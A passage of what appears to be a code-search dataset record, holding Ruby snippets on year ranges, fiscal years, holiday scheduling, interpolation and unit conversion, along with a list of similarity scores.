"def makeYearList(entries)\n # Find the range of the years\n years = entries.map {|entry| entry.year}\n entriesList = []\n years.max.downto(years.min) { |year|\n yearEntries = matchEntries(entries, \"year\", year)\n next if yearEntries.size == 0\n entriesList << [year, yearEntries]\n }\n entriesList\nend",
"def interpolators()\n return @interpolators\n end",
"def fiscal_year_ranges(fiscal_year)\n start_date = Date.new(fiscal_year - 1, 7, 1)\n end_date = [Date.today, Date.new(fiscal_year, 6, 30)].min\n this_year = start_date..end_date\n last_year = (start_date - 1.year)..(end_date - 1.year)\n return this_year, last_year\n end",
"def work_out_year(value)\n case value\n when 0..39\n 2000 + value\n when 40..99\n 1900 + value\n else\n value\n end\n end",
"def set_FirstYearRange(value)\n set_input(\"FirstYearRange\", value)\n end",
"def set_FirstYearRange(value)\n set_input(\"FirstYearRange\", value)\n end",
"def set_FirstYearRange(value)\n set_input(\"FirstYearRange\", value)\n end",
"def populate_holidays_brought_forward_from_next_year(year)\n return if @generated_years.include?(year) # no need to do anything if the holidays have already been generated for this year\n @public_holiday_specifications.each do |phs|\n next if !phs.applies_to_year?(year)\n ph = PublicHoliday.new(phs, year)\n if ph.must_be_taken_before?\n new_date = last_working_day_before(ph.date)\n if new_date.year < ph.date.year\n ph.adjust_date(new_date)\n @public_holiday_hash[new_date] = ph\n end\n end\n end\n end",
"def initialize(formation_year_input)#parameters\n #instance var\n @planets_list = []\n @formation_year = formation_year_input#method arguemnt(disappears)\n end",
"def new_input_set()\n return GraduationRatesInputSet.new()\n end",
"def combine_ranges(code, ranges); end",
"def leap_years\n puts \"Enter a start year:\"\n\tstart_year = gets.chomp.to_i\n\tputs \"Enter an ending year:\"\n\tending_year = gets.chomp.to_i\n\n\tleap_years = (start_year..ending_year).select do |year|\n\t\tleap_year?(year)\n\tend\n\tputs \"#{leap_years}\"\nend",
"def extend_boundaries(min_odds, max_odds)\n [min_odds - extend_min_interval(min_odds, max_odds),\n max_odds + extend_max_interval(min_odds, max_odds)]\n end",
"def linear( dindex )\n #puts \"interpolate dindex #{dindex}\"\n #puts \"interpolate indices #{@indices.inspect}\"\n #puts \"interpolate values #{@values.inspect}\"\n\n if not defined? @indices\n build_indices\n end\n \n if @indices.length == 1\n return @values[0]\n end\n\n irange = [0, @indices.length-1]\n\n if dindex < @indices[irange[0]]\n dindex = @indices[irange[0]]\n elsif dindex > @indices[irange[1]]\n dindex = @indices[irange[1]]\n end\n\n maxiter = 1000\n niter = 0\n while (irange[1]-irange[0] >1 and niter < maxiter)\n niter += 1\n if dindex == @indices[irange[0]]\n\treturn @values[irange[0]]\n elsif dindex == @indices[irange[1]]\n\treturn @values[irange[1]]\n else\n\timean = ((irange[1]+irange[0])/2).to_i\n\tif dindex <= @indices[imean]\n\t newirange = [irange[0],imean]\n\telse\n\t newirange = [imean, irange[1]]\n\tend\n\tirange = newirange\n end\n end\n\n if niter == maxiter\n Kernel::raise(\"WARNING: niter maxiter for dindex #{dindex} and @indices #{@indices}\")\n end\n \n pindex, pvalue, index, value = [@indices[irange[0]], @values[irange[0]], @indices[irange[1]], @values[irange[1]]]\n # puts \"dindex #{dindex} pindex #{pindex}, pvalue #{pvalue}, index #{index}, value #{value}\"\n if pindex.fequal?(index)\n result = value\n else\n result = pvalue + ((value + pvalue * (-1.0) ) * ((dindex - pindex) / (index - pindex )))\n end\n # puts \"interpolate result #{result}\"\n return result\n end",
"def no_repeat_years(first_yr, last_yr)\n array = []\n (first_yr..last_yr).each do |year|\n array << year if not_repeat_year?(year)\n end\n array\nend",
"def process_bulk(value)\n return if value.nil?\n\n unprocessed_date = value.first\n if valid_ranges?(Array.wrap(unprocessed_date))\n YearRange.new(value.include?(\"/\") ? value : value.map { |v| v.tr(\"-\", \"/\") }).to_s\n else\n unprocessed_date.strip.tr(\"/\", \"-\")\n end\n end",
"def populate_public_holiday_collection_for_year(year)\n return if @generated_years.include?(year) # don't generate if we've already done it\n @public_holiday_specifications.each do |phs|\n next if !phs.applies_to_year?(year)\n @public_holiday_collection << PublicHoliday.new(phs, year)\n end\n @generated_years << year # add to the list of years we've generated\n @public_holiday_collection.sort!\n populate_public_holiday_hash\n adjust_carry_forwards\n populate_holidays_brought_forward_from_next_year(year + 1)\n end",
"def interpoltype()\n return :linear\n end",
"def set_EndYear(value)\n set_input(\"EndYear\", value)\n end",
"def rates_prediction\r\n final_array = []\r\n today = today_rate\r\n weekly_change = weekly_percentage_change_array\r\n\r\n first = ((weekly_change[0] / 100) * today) + today\r\n final_array << first\r\n\r\n if @time > 1\r\n i = 0\r\n while i < weekly_change[1].length\r\n rate = ((weekly_change[1][i] / 100) * final_array[i]) + final_array[i]\r\n final_array << rate\r\n i += 1\r\n end\r\n end\r\n final_array\r\n end",
"def assign_valuations(data, request)\n lambda do\n # valuations[i][j] contains the valuation for property i on date j\n data.each_with_index.map do |valuations, property_idx|\n valuations.each_with_index.map do |valuation, date_idx|\n # Fetch the request data for this valuation and\n # extend the raw data to build a local representation\n valuation.property = request.properties[property_idx]\n valuation.valuation_date = request.valuation_dates[date_idx]\n valuation.deal_type = request.deal_type\n valuation.country_code = request.country_code\n # Build the local representation from the raw data\n PriceHubble::Valuation.new(valuation)\n end\n end.flatten\n end\n end",
"def calculate_gains_strategies(data_points, strategies)\n strategies.each do |strat_name, strat_array|\n raise \"strategy #{strat_name}:#{strat_array} does not add up to 1\" unless strat_array.reduce(:+) == 1\n raise \"strategy #{strat_name}:#{strat_array} does not add have 12 elements\" unless strat_array.size == MONTHS_PER_YEAR\n end\n\n # Make sure that strategies_copy is _at least_ as long as data_points and iterate through all items at the same time\n strategies_size_increase = (data_points.size.to_f / MONTHS_PER_YEAR).ceil\n strategies_copy = strategies.clone\n strategies_copy.each { |k, v| strategies_copy[k] = v * strategies_size_increase }\n\n # results to keep track of how well each strategy is performing\n strategy_results = strategies.merge(strategies){|k,v| [] }\n\n data_points.each_index do |i|\n date = data_points[i][:date]\n puts \"-\" * 50\n puts \"Date: #{date}\"\n previous_data_point = i == 0 ? data_points[0] : data_points[i-1]\n current_data_point = data_points[i]\n\n change_ratio = calculate_ratio_increase(previous_data_point, current_data_point)\n puts\n\n strategies_copy.each do |strat_name, strat_array|\n previous_gains = i == 0 ? 0 : strategy_results[strat_name][i - 1]\n puts \"'#{strat_name}' previous gains: #{previous_gains}\"\n\n new_investment = strat_array[i]\n puts \"'#{strat_name}' new investment: #{new_investment}\"\n strategy_results[strat_name][i] = calculate_gain(change_ratio, previous_gains, new_investment)\n puts \"'#{strat_name}' current gains #{strategy_results[strat_name][i]}\\n\\n\"\n end\n puts\n end\n\n return strategy_results\nend",
"def extract_years(dates)\n dates.flat_map{ |date| extract_year(date) }.uniq\n end",
"def calculate_years(principal, interest, tax, desired)\n# principal amount\n year = 0\n while principal < desired\n year += 1\n income = principal * interest\n principal += income - income * tax\n end\n year\nend",
"def fit_linear(xs, ys)\n fit(xs, ys)\n end",
"def grow_one_year(starting_balance, growth_rate)\n starting_balance * (1.0 + growth_rate)\nend",
"def spouse_prior_year_agi(intake, tax_year)\n\n if tax_year < 2021 && !ENV['TEST_SCHEMA_VALIDITY_ONLY']\n raise \"spouse_prior_year_agi only works for current tax year\"\n end\n\n intake.spouse_prior_year_agi_amount || 0\n end",
"def change_ranges(params)\n @min = params.fetch(:min, 0).to_f\n @max = params.fetch(:max, 100).to_f\n end",
"def calc_indexes(lookback_fcn=nil, *args)\n return index_range if frozen\n ms = pre_offset = calc_prefetch(lookback_fcn, *args)\n #pre_offset = params_changed?(lookback_fcn, *args) ? calc_prefetch(lookback_fcn, *args) : @pre_offset\n index_range = populate(pre_offset)\n begin_index = index_range.begin\n @output_offset = begin_index >= ms ? 0 : ms - begin_index\n # commented out since minimal samples has already been computed\n #@output_offset = begin_index >= (ms = Timeseries.minimal_samples(lookback_fcn, *args)) ? 0 : ms - begin_index\n if @output_offset > 0\n debugger\n end\n raise ArgumentError, \"Only subset of Date Range available for #{symbol}, pre-buffer at least #{@output_offset} more bars\" if @output_offset > 0\n remember_params(lookback_fcn, *args)\n return index_range\n end",
"def source_range(*arguments); end",
"def value_converters\n [YEAR_NORMALIZER, :float]\n end",
"def no_repeat_years(first_yr, last_yr)\n result = []\n (first_yr..last_yr).each do |num|\n if not_repeat_year?(num)\n result << num\n end\n end\n result\nend",
"def get_project_fiscal_years project\n if project.blank?\n []\n elsif project.multi_year?\n a = []\n (current_fiscal_year_year..current_fiscal_year_year + 49).map{ |y| [fiscal_year(y), y] }.each do |fy|\n if fy[1] < project.fy_year\n next\n else\n a << fy\n end\n end\n a\n else\n [[project.fiscal_year, project.fy_year]]\n end\n end",
"def _reduce_365(val, _values, result); end",
"def make_items_with_ranges(*ranges_as_strings)\n ranges_as_strings.map { |range_as_string| stub( :date_ranges => [dr(range_as_string)] ) }\n end",
"def generateDelayToIntegrationByMergeScenario(projectName, localClone, pathOutput)\n\t\tprefixProjectName = formatProjectName(projectName)\n\t\tintegrationLine = []\n\t\tintegrationLineAuthorDateList = []\n\t\tintegrationLineCommitDateList = []\n\n\t\tFile.open(localClone+pathOutput+prefixProjectName+\"_CommitList.csv\", 'r') do |f1|\n\t\t while line = f1.gets \n\t\t\tf1.each_line do |line|\n\t\t\t\tleftAuthorsList = []\n\t\t rightAuthorsList = []\n\t\t\t\tcampos = line.split(\",\")#.length\t\n\t\t\t\tmergeCommitID = campos[0].gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\tisConflicting = campos[1].gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\tleftCommits = campos[10].split(\"@@\")\n\t\t\t\trightCommits = campos[11].split(\"@@\")\n leftDelayIntegration = 0\n\t\t\t\trightDelayIntegration = 0\n\t\t\t\tarithmeticMeanDelayIntegration = 0\n\t\t\t\tgeometricMeanDelayIntegration = 0\n\t\t\t\tdeltaIntegration = 0\n\n\t\t\t\tif leftCommits.include?(\"\\n\")\n\t\t\t\t\tleftCommits.delete(\"\\n\")\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\tif rightCommits.include?(\"\\n\")\n\t\t\t\t\trightCommits.delete(\"\\n\")\n\t\t\t\tend\n\t\t\t\t\n\t\t\t\t# Metric\n\t\t\t\t\tstartDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%ad\" --date=local #{leftCommits[0]}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tendDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%cd\" --date=local #{mergeCommitID}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tleftDelayIntegration = (endDate - startDate).to_i\n\t\t\t\t\tstartDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%ad\" --date=local #{rightCommits[0]}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tendDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%cd\" --date=local #{mergeCommitID}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\trightDelayIntegration = (endDate - startDate).to_i\n\n\t\t\t\t\tleftDelayLessThanZero = false\n\t\t\t\t\tif (leftDelayIntegration==0)\n\t\t\t\t\t\tleftDelayIntegration = 1\n\t\t\t\t\tend\n\t\t\t\t\trightDelayLessThanZero = false\n\t\t\t\t\tif (rightDelayIntegration==0)\n\t\t\t\t\t\trightDelayIntegration = 1\n\t\t\t\t\tend\n\n\t\t\t\t\tif leftDelayIntegration > rightDelayIntegration\n\t\t\t\t\t\tdeltaIntegration = leftDelayIntegration - rightDelayIntegration\n\t\t\t\t\telsif rightDelayIntegration > leftDelayIntegration\n\t\t\t\t\t\tdeltaIntegration = rightDelayIntegration - leftDelayIntegration\n\t\t\t\t\telse\n\t\t\t\t\t\tdeltaIntegration = 0\n\t\t\t\t\tend\n\n\t\t\t\t\tif (rightDelayIntegration <0)\n\t\t\t\t\t\tleftDelayLessThanZero = true\n\t\t\t\t\tend\n\n\t\t\t\t\tif((leftDelayIntegration * rightDelayIntegration) <0)\n\t\t\t\t\t\tif(leftDelayIntegration <0)\n\t\t\t\t\t\t\tleftDelayIntegration = 1\n\t\t\t\t\t\telse \n\t\t\t\t\t\t\trightDelayIntegration = 1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\t\n\t\t\t\t\tarithmeticMeanDelayIntegration = (Float(leftDelayIntegration + rightDelayIntegration)/2).round(2)\n\t\t\t\t\tgeometricMeanDelayIntegration = Math.sqrt(Float(leftDelayIntegration*rightDelayIntegration)).round(2)\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tlinha = mergeCommitID+\",\"+isConflicting+\",\"+leftDelayIntegration.to_s+\",\"+rightDelayIntegration.to_s+\",\"+arithmeticMeanDelayIntegration.to_s+\",\"+geometricMeanDelayIntegration.to_s+\",\"+deltaIntegration.to_s\n\t\t\t\t\tintegrationLine.push(linha.gsub(\"\\n\", \"\"))\t\t\n\t\t\t\t\t\n\t\t\t\t\t File.open(localClone+pathOutput+prefixProjectName+\"_DelayDeltaIntegrationList.csv\", 'w') do |file|\n\t\t\t\t\t\tfile.puts \"mergeCommitID, isConflicting, leftDelayIntegration, rightDelayIntegration, arithmeticMeanDelayIntegration, geometricMeanDelayIntegration, deltaIntegration\"\n\t\t\t\t\t\tintegrationLine.each do |dado|\n\t\t\t\t\t\t\tfile.puts \"#{dado}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t end\t\t\t\t \n\n\t\t\t\t# exploring more data - extra internal test\n\t\t\t\t\tstartDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%cd\" --date=local #{leftCommits[0]}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tendDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%cd\" --date=local #{mergeCommitID}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tleftDelayIntegration = (endDate - startDate).to_i\n\n\t\t\t\t\tstartDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%cd\" --date=local #{rightCommits[0]}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tendDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%cd\" --date=local #{mergeCommitID}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\trightDelayIntegration = (endDate - startDate).to_i\n\n\t\t\t\t\tif leftDelayIntegration > rightDelayIntegration\n\t\t\t\t\t\tdeltaIntegration = leftDelayIntegration - rightDelayIntegration\n\t\t\t\t\telsif rightDelayIntegration > leftDelayIntegration\n\t\t\t\t\t\tdeltaIntegration = rightDelayIntegration - leftDelayIntegration\n\t\t\t\t\telse\n\t\t\t\t\t\tdeltaIntegration = 0\n\t\t\t\t\tend\n\n\t\t\t\t\tif leftDelayIntegration * rightDelayIntegration < 0\n\t\t\t\t\t\tif leftDelayIntegration < 0\n\t\t\t\t\t\t\tleftDelayIntegration = leftDelayIntegration * -1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\trightDelayIntegration = rightDelayIntegration * -1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tarithmeticMeanDelayIntegration = (Float(leftDelayIntegration + rightDelayIntegration)/2).round(2)\n\t\t\t\t\tgeometricMeanDelayIntegration = Math.sqrt(Float(leftDelayIntegration*rightDelayIntegration)).round(2)\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tlinha = mergeCommitID+\",\"+isConflicting+\",\"+leftDelayIntegration.to_s+\",\"+rightDelayIntegration.to_s+\",\"+arithmeticMeanDelayIntegration.to_s+\",\"+geometricMeanDelayIntegration.to_s+\",\"+deltaIntegration.to_s\n\t\t\t\t\tintegrationLineCommitDateList.push(linha.gsub(\"\\n\", \"\"))\t\t\n\t\t\t\t\t\n\t\t\t\t\t File.open(localClone+pathOutput+prefixProjectName+\"_DelayDeltaIntegrationCommitDatesList.csv\", 'w') do |file|\n\t\t\t\t\t\tfile.puts \"mergeCommitID, isConflicting, leftDelayIntegration, rightDelayIntegration, arithmeticMeanDelayIntegration, geometricMeanDelayIntegration, deltaIntegration\"\n\t\t\t\t\t\tintegrationLineCommitDateList.each do |dado|\n\t\t\t\t\t\t\tfile.puts \"#{dado}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t end\n\n\n\t\t\t\t# exploring more data - extra test\n\t\t\t\t\tstartDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%ad\" --date=local #{leftCommits[0]}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tendDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%ad\" --date=local #{mergeCommitID}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tleftDelayIntegration = (endDate - startDate).to_i\n\n\t\t\t\t\tstartDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%ad\" --date=local #{rightCommits[0]}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\tendDate = Date.parse %x(git --no-pager log -1 --pretty=format:\"%ad\" --date=local #{mergeCommitID}).gsub(\"\\r\",\"\").gsub(\"\\n\",\"\")\n\t\t\t\t\trightDelayIntegration = (endDate - startDate).to_i\n\n\t\t\t\t\tif leftDelayIntegration > rightDelayIntegration\n\t\t\t\t\t\tdeltaIntegration = leftDelayIntegration - rightDelayIntegration\n\t\t\t\t\telsif rightDelayIntegration > leftDelayIntegration\n\t\t\t\t\t\tdeltaIntegration = rightDelayIntegration - leftDelayIntegration\n\t\t\t\t\telse\n\t\t\t\t\t\tdeltaIntegration = 0\n\t\t\t\t\tend\n\t\t\t\t\tif leftDelayIntegration * rightDelayIntegration < 0\n\t\t\t\t\t\tif leftDelayIntegration < 0\n\t\t\t\t\t\t\tleftDelayIntegration = leftDelayIntegration * -1\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\trightDelayIntegration = rightDelayIntegration * -1\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\tarithmeticMeanDelayIntegration = (Float(leftDelayIntegration + rightDelayIntegration)/2).round(2)\n\t\t\t\t\tgeometricMeanDelayIntegration = Math.sqrt(Float(leftDelayIntegration*rightDelayIntegration)).round(2)\t\t\t\t\n\t\t\t\t\t\n\t\t\t\t\tlinha = mergeCommitID+\",\"+isConflicting+\",\"+leftDelayIntegration.to_s+\",\"+rightDelayIntegration.to_s+\",\"+arithmeticMeanDelayIntegration.to_s+\",\"+geometricMeanDelayIntegration.to_s+\",\"+deltaIntegration.to_s\n\t\t\t\t\tintegrationLineAuthorDateList.push(linha.gsub(\"\\n\", \"\"))\t\t\n\t\t\t\t\t\n\t\t\t\t\t File.open(localClone+pathOutput+prefixProjectName+\"_DelayDeltaIntegrationAuthorDatesList.csv\", 'w') do |file|\n\t\t\t\t\t\tfile.puts \"mergeCommitID, isConflicting, leftDelayIntegration, rightDelayIntegration, arithmeticMeanDelayIntegration, geometricMeanDelayIntegration, deltaIntegration\"\n\t\t\t\t\t\tintegrationLineAuthorDateList.each do |dado|\n\t\t\t\t\t\t\tfile.puts \"#{dado}\"\n\t\t\t\t\t\tend\n\t\t\t\t\t end\t\t\t\t \n\n\t\t\tend #f1eachline\n\t\t end #while\n\t\tend #Fileopen\n\tputs \"end running generateDelayToIntegrationByMergeScenario from #{prefixProjectName} project\"\n\tend",
"def annual_ror(initial_value, final_value, years)\n if years <= 0\n 0\n elsif initial_value == 0\n # BigDecimal::INFINITY\n Float::INFINITY\n else\n 100.to_d * if final_value < 0 # fudge if final value is less than zero\n (((initial_value.to_d - final_value.to_d) / initial_value.to_d) ** (1 / years.to_d)) * -1\n else\n ((final_value.to_d / initial_value.to_d) ** (1 / years.to_d)) - 1\n end\n end\n end",
"def interpolation\n # Just return the interpolation type for pre-2012 setups\n return (@interpolation || :constant) unless has_2012_tangents?\n \n return :constant if curve_order.to_s == \"constant\"\n return :hermite if curve_order.to_s == \"cubic\" && (curve_mode.to_s == \"hermite\" || curve_mode.to_s == \"natural\")\n return :bezier if curve_order.to_s == \"cubic\" && curve_mode.to_s == \"bezier\"\n return :linear if curve_order.to_s == \"linear\"\n \n raise \"Cannot determine interpolation for #{inspect}\"\n end",
"def year(year_range = (1930..1950))\n rand(year_range)\nend",
"def year_select(method, options = {})\n options[:first] = options[:start_year] || 1801\n options[:last] = options[:end_year] || Date.today.year\n integer_select(method, options)\n end",
"def initialized_year_hash\n year_in_range = self.startDate.year\n year_hash = {}\n while year_in_range <= self.endDate.year\n year_hash[year_in_range] = BigDecimal(0.0, 10)\n year_in_range += 1\n end\n year_hash\n end",
"def make_tick_dates(from_year, to_year, interval)\n (from_year..to_year).step(interval).map { |year| Date.new(year,1,1) }\n end",
"def make_ranges_linear\n min, max = @data.values.sort.first, @data.values.sort.last\n value = ( ( max - min ) / File.open(@palette).readlines.size ).to_i + 1\n offset = (( value / 10 ** (value.to_s.size - 1) ).round + 1)* 10 ** (value.to_s.size - 1)\n last = offset > min ? offset : min\n @ranges = [ { :range => [1, last-1] } ]\n while last < max do\n @ranges << { :range => [last, last + offset - 1] }\n last += offset\n end\n @ranges << { :range => [last, last + offset] }\n end"
] |
[
"0.7225483",
"0.5076649",
"0.5070885",
"0.50320387",
"0.49417526",
"0.49219903",
"0.48959297",
"0.4779482",
"0.4729065",
"0.4681909",
"0.46788168",
"0.46556127",
"0.46552408",
"0.46462598",
"0.46358004",
"0.4625349",
"0.46188203",
"0.45875785",
"0.45875785",
"0.45736602",
"0.45282164",
"0.45052806",
"0.44882447",
"0.44699278",
"0.44699278",
"0.44628796",
"0.4451916",
"0.44305286",
"0.44247133",
"0.44155505",
"0.44133464",
"0.4376371",
"0.43685737",
"0.4320509",
"0.43163002",
"0.42975223",
"0.42861083",
"0.42762944",
"0.42759725",
"0.42676404",
"0.42674786",
"0.4258196",
"0.42577928",
"0.42528826",
"0.4249919",
"0.42499098",
"0.42426443",
"0.42321518",
"0.42235458",
"0.42235446",
"0.42133006",
"0.42043394",
"0.41963324",
"0.41764057",
"0.4146229",
"0.4144099",
"0.41419268",
"0.41392088",
"0.4138024",
"0.41150367",
"0.41051966",
"0.4104634",
"0.4104634",
"0.4104634",
"0.4099583",
"0.40942958",
"0.40825567",
"0.40663898",
"0.40655974",
"0.4060822",
"0.40570363",
"0.40466937",
"0.40403488",
"0.40370697",
"0.4035958",
"0.4030697",
"0.40255046",
"0.4023061",
"0.40221575",
"0.4020877",
"0.40169796",
"0.40140328",
"0.40092587",
"0.40084308",
"0.39956307",
"0.39935115",
"0.39925176",
"0.39924482",
"0.39890692",
"0.39858752",
"0.3977423",
"0.39740553",
"0.3967107",
"0.39665174",
"0.39662775",
"0.3964612",
"0.39632168",
"0.39590687",
"0.39551255",
"0.39483783"
] |
0.70665866
|
1
|
Internal: Calculates the interpolated value of an input based on its current value in the original scenario. Returns a Numeric or String value for the new user values.
|
def interpolate_input(input, value, total_years, num_years)
return value if input.enum?
start = input.start_value_for(@scenario)
change_per_year = (value - start) / total_years
start + change_per_year * (total_years - num_years)
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def value_of element\n element = super # eval Procs\n case element\n when Numeric then @value.transpose(element) if @value # add interval\n when PitchClass then @value.nearest(element) if @value\n else element\n end\n end",
"def convert_value_by_type\n case self.value_type\n when 'Numeric'\n unless self.multiplier.nil? || self.multiplier.blank?\n val = self.value.include?('.') ? self.value.to_f : self.value.to_i\n return val.send(self.multiplier.to_sym)\n else\n return self.value.to_f\n end\n when 'Boolean'\n return self.value == '1'\n else\n return self.value\n end\n end",
"def calculate( input )\n update_with_vector( input )\n end",
"def control input\n error = @set_point - input\n @integral = @integral + error * @sample_rate\n @derivative = (error - @previous_error) / @sample_rate\n\n output =\n @proportional_gain * error +\n @integral_gain * @integral +\n @derivative_gain * @derivative\n\n @previous_error = error\n\n output\n end",
"def interpolate(string, values); end",
"def convert_temp(value, fromUnits)\t\n\t\tif fromUnits == \"F\"\n\t\t\tconverted_value = (value - 32) / 1.8\n\t\telsif fromUnits == \"C\"\n\t\t\tconverted_value = (1.8 * value) + 32\n\t\tend\t\t\n\t\treturn converted_value.round\n\tend",
"def number\n result = normalize(@input_number)\nend",
"def inputed_value\n Inventory.in_check(self.id).remote_s.sum(\"result_value\").to_f\n end",
"def lookup(val)\n rounded_value = val.respond_to?(:round) ? val.round : val\n transformed_value = (rounded_value < 1) ? 1 : rounded_value\n super(transformed_value.to_s)\n end",
"def interpolate(a, b)\n a = a.to_f\n b = b.to_f\n b -= a\n\n lambda { |t| a + b * t }\n end",
"def convert!(source_value: 1)\n (source_value / source_rate) * target_rate\n end",
"def temp_converter(temp)\n\ttemp = temp*1.8 + 32\n\treturn temp.to_i\nend",
"def interpolation_patterns; end",
"def value\n update 0\n @value ? @value : 0.0\n end",
"def current_value\n value = $options.send(getter)\n if @type == :slider\n value = value.clamp(@values[:min], @values[:max])\n return value - (value % @values[:increment])\n end\n value_index = @values.index(value)\n return @values[value_index || 0]\n end",
"def increased_valuation(i,d)\n (property_value * ((1 + (i / 100)) ** d)) / 1000\n end",
"def evaluate\n result = nil\n if self.is_valid?\n cleansed_str = @value.gsub(@regex_strip, '')\n cleansed_int = cleansed_str.to_i\n if self.has_cents? == false\n cleansed_int = cleansed_int * 100\n end\n result = cleansed_int\n end\n result\n end",
"def CalculateNewAssessedValue(data)\n\tcur = (data[1] * 0.027) + data[1]\n\tdata[2] = cur\n\treturn data\nend",
"def variable_operation_and_maintenance_costs_per_typical_input\n fetch(:variable_operation_and_maintenance_costs_per_typical_input) do\n return 0.0 if input_capacity.zero?\n return 0.0 if variable_operation_and_maintenance_costs_per_full_load_hour.nil?\n return 0.0 if variable_operation_and_maintenance_costs_for_ccs_per_full_load_hour.nil?\n\n (variable_operation_and_maintenance_costs_per_full_load_hour +\n variable_operation_and_maintenance_costs_for_ccs_per_full_load_hour) / # highlighting\n (input_capacity * 3600.0)\n end\n end",
"def uninterpolate\n a = 0.0\n b = (wrong + right).to_f\n b = b - a > 0 ? 1 / (b - a) : 0\n\n lambda { |x| (x - a) * b }\n end",
"def convert( temp_in_farenheit)\n (temp_in_farenheit.to_f - 32) * 5/9\nend",
"def interp ( ya, yb, xa, xb, x )\n# return ya if x == xa\n factor = (x - xa) / (xb - xa )\n return ya + factor * ( yb - ya )\nend",
"def interpolation_search(value)\n search_result = interpolation_search_internal(value)\n return search_result[0] ? search_result[1] : -1\n end",
"def get_double_value\n\t\tend",
"def normalize\n return 0 if input.blank?\n @output ||= begin\n hours, minutes, seconds = input.split(\":\")\n if minutes.nil? && seconds.nil? # format is just \"32.23\"\n seconds = hours\n hours = nil\n elsif seconds.nil? # format is just \"2:32.23\"\n seconds = minutes\n minutes = hours\n hours = nil\n end\n (hours.to_i * 3600) + (minutes.to_i * 60) + seconds.to_f\n end\n end",
"def getint(input) \n intrate = input.to_s.gsub(/[^0-9.]+/, '')\n @interest = DecNum(intrate).round(:places=>3) \n if @interest.between?(0.125,35.0)\n @output.puts 'The interest Rate you entered is: ' + @interest.to_s\n @status = 'valid'\n else \n @output.puts 'Oops, Interest Rate must be between 0.125 and 35 percent!'\n end\n return @interest \n end",
"def interpoltype()\n return :linear\n end",
"def convert_temp(f)\n return (f - 32) * 5/9\nend",
"def format_user_input(user_input)\n modified_input = user_input.to_i - 1\n modified_input\n end",
"def apply_value(amount)\n if self.method == PERCENTAGE\n amount * (1 + (self.percentage.to_i/100.0))\n elsif self.method == AMOUNT\n amount + self.value\n end\n end",
"def interpolate_input_collection(collection)\n num_years = @scenario.end_year - @year\n total_years = @scenario.end_year - @scenario.start_year\n\n collection.each_with_object(collection.class.new) do |(key, value), interp|\n if (input = Input.get(key))\n interp[key] = interpolate_input(input, value, total_years, num_years)\n end\n end\n end",
"def solution(value)\n # enter your solution here\n value.round(2)\nend",
"def eval_expression\n if @input.to_i.zero?\n @input = eval(@input).to_s\n else\n @input = eval(@input).to_f.to_s\n end\n @output.text = @input\n end",
"def interpolation\n # Just return the interpolation type for pre-2012 setups\n return (@interpolation || :constant) unless has_2012_tangents?\n \n return :constant if curve_order.to_s == \"constant\"\n return :hermite if curve_order.to_s == \"cubic\" && (curve_mode.to_s == \"hermite\" || curve_mode.to_s == \"natural\")\n return :bezier if curve_order.to_s == \"cubic\" && curve_mode.to_s == \"bezier\"\n return :linear if curve_order.to_s == \"linear\"\n \n raise \"Cannot determine interpolation for #{inspect}\"\n end",
"def value\n\t\tself.baz_dot = 0 if !self.baz_dot\n\t\tself.rev_dot = 0 if !self.rev_dot\n\t\tresult = (self.baz_dot.to_f - self.rev_dot.to_f).round\n\tend",
"def value\n return self.actual\n end",
"def value\n return self.actual\n end",
"def numeric_transformation(value)\n unless value.is_a?(Sass::Script::Number)\n calling_function = caller.first.scan(/`([^']+)'/).first.first\n raise Sass::SyntaxError.new(\"#{value} is not a number for `#{calling_function}'\")\n end\n Sass::Script::Number.new(yield(value.value), value.numerator_units, value.denominator_units)\n end",
"def fahrenheit (user_input)\n#declared a new variable called celcius and assigned value to equal user_input and formula for converting F to C\n celcius = (user_input - 32) * 5/9\n#use puts to output onto console\n puts \"the conversion of #{user_input} Fahrenheit to Celcius is #{celcius}\"\n#return user_input\n return\nend",
"def current_value; end",
"def interpolate( dindex )\n return method( self.interpoltype ).call( dindex )\n end",
"def convert(temp_f)\n (temp_f - 32) * 5 / 9\nend",
